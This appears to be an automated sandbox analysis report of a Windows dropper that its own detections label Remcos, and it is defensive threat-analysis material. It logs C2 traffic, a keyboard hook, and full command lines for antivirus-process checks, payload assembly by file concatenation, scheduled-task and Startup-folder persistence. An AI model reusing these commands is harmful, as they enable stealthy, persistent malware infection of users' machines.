Windows Analysis Report
RailProvides_nopump.exe

AI detected suspicious sample

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 86.2% probability

Source: RailProvides_nopump.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RailProvides_nopump.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002BA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_002BA087
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002BA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_002BA1E2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002AE472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	21_2_002AE472
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002BA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	21_2_002BA570
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0027C622 FindFirstFileExW,	21_2_0027C622
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002B66DC FindFirstFileW,FindNextFileW,FindClose,	21_2_002B66DC
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002B7333 FindFirstFileW,FindClose,	21_2_002B7333
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002B73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	21_2_002B73D4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002AD921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_002AD921
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002ADC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_002ADC54

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:64689 -> 193.26.115.39:7009

Source: global traffic

TCP traffic: 192.168.2.5:64689 -> 193.26.115.39:7009

Source: global traffic

TCP traffic: 192.168.2.5:64587 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 178.237.33.50 178.237.33.50

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:64705 -> 178.237.33.50:80

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002BD889 InternetReadFile,SetEvent,GetLastError,SetEvent,

21_2_002BD889

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ecIUYmCipwWZXGGOIZYONyVhLKgCF.ecIUYmCipwWZXGGOIZYONyVhLKgCF
Source: global traffic	DNS traffic detected: DNS query: me-work.com
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: RailProvides_nopump.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RailProvides_nopump.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RailProvides_nopump.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RailProvides_nopump.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: RailProvides_nopump.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RailProvides_nopump.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RailProvides_nopump.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RailProvides_nopump.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RailProvides_nopump.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RailProvides_nopump.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: RailProvides_nopump.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: RailProvides_nopump.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: RailProvides_nopump.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: RailProvides_nopump.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000000.2074387011.0000000000F15000.00000002.00000001.01000000.00000006.sdmp, LinkHub.com, 00000015.00000002.2118492603.0000000000315000.00000002.00000001.01000000.00000008.sdmp, LinkHub.com, 00000018.00000000.2213628665.0000000000315000.00000002.00000001.01000000.00000008.sdmp, LinkHub.com.13.dr, Clinton.9.dr, Propose.com.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: RailProvides_nopump.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Propose.com.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002BF7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

21_2_002BF7C7

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002BF55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

21_2_002BF55C

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002D9FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

21_2_002D9FD2

E-Banking Fraud

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

System Summary

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002B4763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

21_2_002B4763

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002A1B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

21_2_002A1B4D

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_00403883
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002AF20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		21_2_002AF20D

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	File created: C:\Windows\EquationsHighlights	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	File created: C:\Windows\OurProperty	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	File created: C:\Windows\ItemAnytime	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	File created: C:\Windows\ExpenditureBlood	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	File created: C:\Windows\DentalSubtle	Jump to behavior

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00268017	21_2_00268017
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0025E144	21_2_0025E144
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0024E1F0	21_2_0024E1F0
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0027A26E	21_2_0027A26E
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002622A2	21_2_002622A2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002422AD	21_2_002422AD
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0025C624	21_2_0025C624
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0027E87F	21_2_0027E87F
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002CC8A4	21_2_002CC8A4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002B2A05	21_2_002B2A05
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00276ADE	21_2_00276ADE
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002A8BFF	21_2_002A8BFF
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0025CD7A	21_2_0025CD7A
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0026CE10	21_2_0026CE10
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00277159	21_2_00277159
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00249240	21_2_00249240
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002D5311	21_2_002D5311
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002496E0	21_2_002496E0
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00261704	21_2_00261704
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00261A76	21_2_00261A76
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00249B60	21_2_00249B60
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00267B8B	21_2_00267B8B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00261D20	21_2_00261D20
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00267DBA	21_2_00267DBA
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00261FE7	21_2_00261FE7

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: String function: 0025FD52 appears 40 times
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: String function: 00260DA0 appears 46 times

Source: RailProvides_nopump.exe

Static PE information: invalid certificate

Source: RailProvides_nopump.exe, 00000000.00000002.2044085738.000000000066E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs RailProvides_nopump.exe
Source: RailProvides_nopump.exe, 00000000.00000003.2042821091.000000000066E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs RailProvides_nopump.exe

Source: RailProvides_nopump.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@40/32@3/2

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002B41FA GetLastError,FormatMessageW,

21_2_002B41FA

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002A2010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		21_2_002A2010
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002A1A0B AdjustTokenPrivileges,CloseHandle,		21_2_002A1A0B

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002ADD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

21_2_002ADD87

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002B3A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

21_2_002B3A0E

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Math

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6496:120:WilError_03

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

File created: C:\Users\user\AppData\Local\Temp\nsyE4C.tmp

Source: RailProvides_nopump.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RailProvides_nopump.exe

Virustotal: Detection: 9%

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

File read: C:\Users\user\Desktop\RailProvides_nopump.exe

Source: unknown	Process created: C:\Users\user\Desktop\RailProvides_nopump.exe "C:\Users\user\Desktop\RailProvides_nopump.exe"
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 361684
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Approaches
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Korea" Measurement
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com Propose.com U
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & echo URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
